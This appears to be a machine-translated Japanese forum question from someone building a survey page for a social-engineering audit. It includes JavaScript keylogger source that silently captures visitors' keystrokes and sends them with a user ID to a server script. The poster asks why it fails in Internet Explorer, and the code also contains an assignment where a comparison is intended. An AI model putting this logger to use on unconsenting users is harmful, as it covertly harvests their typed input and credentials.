IT セキュリティのソーシャル エンジニアリング監査を行うために、このアンケートのスクリプトを作成しています。すべてのフォーム フィールドに加えて、ユーザー アクションに関する詳細情報を取得するために JavaScript キーロガーを作成しようとしています。
これまでのところ、キーロガーは FF ではうまく機能しますが、IE では機能しません。私は両方を働かなければなりません。ヘルプ/アイデアをいただければ幸いです。
<script>
function sendkeylog (keylog, userID) {
if (window.ActiveXObject) {
httpRequest = new ActiveXObject("Microsoft.XMLHTTP");
}
else {
httpRequest = new XMLHttpRequest();
}
httpRequest.open("GET", "keylog.php?keylog="+keylog+"&userID="+userID, true);
httpRequest.send(null);
}
keylog="";
userID="";
document.onkeypress = function savekeycode (e) {
keylog+=String.fromCharCode(e.charCode);
if ((keylog.length==5)||(event.keyCode=13)) {
var userID = "<?php echo $sID; ?>";
sendkeylog(keylog, userID);
keylog="";
userID="";
}
}
</script>